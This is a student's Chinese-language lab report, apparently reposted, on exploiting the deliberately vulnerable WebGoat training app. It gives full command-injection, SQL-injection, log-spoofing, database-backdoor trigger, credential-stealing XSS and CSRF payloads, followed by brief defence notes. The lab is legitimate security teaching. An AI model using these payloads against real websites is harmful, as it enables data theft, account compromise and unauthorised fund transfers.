WebGoat是Owasp组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。
先把jar包下载到虚拟机中,在包的目录下使用指令java -jar webgoat-container-7.0.1-war-exec.jar
进行WebGoat的安装。安装成功如下:
之后在浏览器输入localhost:8080/WebGoat
可进入WebGoat界面,使用默认用户名密码即可登录。
选择Command Injection选项卡。
右击页面选择网页源代码,添加一句"& netstat -an & ipconfig"
。
点击vIEw查看结果,可以查看到相关端口的信息:
未注入则会返回Returncode 0
数字型sql注入(Numeric sql Injection)选择Numeric sql Injection选项卡。
查看网页源代码。对源代码value="101"
进行修改,在(城市编号101)
后面添加or 1=1
。
修改完成后点击Go,即可查看到天气状况:
日志欺骗(Log Spoofing) 可以显示admin账户成功登陆。在Log Spoofing选项卡的User name一栏中输入webgoat%0d%0aLogin Succeeded for username: admin
,其中%0d和%0a为回车和换行符。
点击login,显示出了结果,下方提示语句多了webgoat Login Succeed的字样。
字符串型注入(String sql Injection) 可以基于查询语句构造自己的sql 注入字符串将所有xyk信息显示出来。选择String sql Injection选项卡,输入查询用户名Smith‘ or 1=1--
,因为‘提前闭合了",1=1
为永真式,再使用--注释掉后面的内容,所以成功查询了数据库内的内容,select数据库中的内容。
如果在密码框直接输入‘ or 1=1 --
会被限制输入长度
故在网页源代码中将长度限制修改。
再使用永真式‘ or 1=1 --
即可登录成功
输入用户ID:101可以查看到用户的信息。
接着输入101; update employee set salary=10000
可以更改数据库中的数据。
设置触发器101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘ WHERE userID = NEW.userID
成功创建后门
在页面的搜索框中输入
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" ID="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
会发现页面上多了一个表单:
我们再加入一段传递参数的代码,组合之后如下:
<script> function Hack() { alert("Had this been a real attack... Your credentials were just stolen. User name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" ID="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="Hack()"> </form><br><br><HR>
在搜索框中输入该代码后,点击登录后用户名和密码会在d窗中反馈给我们。
在Message中输入<script>alert("20165204 attack succeed!");</script>
,提交后可以看到刚刚创建的帖子。点击20165204可以显示攻击成功d窗。
在Enter your three digit access code:
中输入<script>alert("I am ironman");</script>
点击Purchase,成功显示警告框,内容为我们script脚本指定的内容。
输入实验一的脚本输入登录信息点击登录发现也可以成功,会返回我们一个登录信息.
查看页面右下方Parameters中的src和menu值,我的分别为309和900。
我们在Message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" wIDth="1" height="1" />
以图片的的形式将URL放进Message框,这时的URL对用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击submit提交,即转走的受害人的金额
输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
查看页面右下方的Parameters中的src和menu值,我的分别为331和900,并输入任意的Title,message框中输入代码.
<iframe src="attack?Screen=331&menu=900&transferFunds=5000"> </iframe> <iframe> src="attack?Screen=331&menu=900&transferFunds=CONFIRM"> </iframe>
点击submit,生成以Title命名的链接,点击链接攻击成功
。
sql通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是sql语法里的一些组合,通过执行SQL语句进而执行攻击者所要的 *** 作。
具体防御时可以可以在输入框内限制特殊字符,限制输入长度来达到目的。或者对数据库权限进行限制。
2.XSS攻击的原理,如何防御XSS:跨站脚本攻击,是一种网站应用程序的安全漏洞攻击。攻击者通过往Web页面里插入恶意HTML标签或者JavaScript代码,当用户浏览该页或者进行某些 *** 作时,利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的 *** 作或者向其它网站提交用户的私密信息。
防御方法也是限制特殊字符、还有对表单内容进行过滤等。
3、CSRF攻击原理,如何防御全程为跨站域请求伪造,攻击者借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。算是XSS攻击中的一种。
防御方法:
伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断 referer 头,如果不是来自本网站的请求,就判定为CSRF攻击。 使用验证码。 实验总结与体会本次实验环境类似于之前使用的实验楼,在虚拟环境中实现一个又一个题目。现在也算理解为什么那么多字符不可以使用。如果是自己编的网站可能随随便便就被黑穿了。
总结以上是内存溢出为你收集整理的2018-2019-2 20165204《网络对抗技术》 Exp9 Web安全基础全部内容,希望文章能够帮你解决2018-2019-2 20165204《网络对抗技术》 Exp9 Web安全基础所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)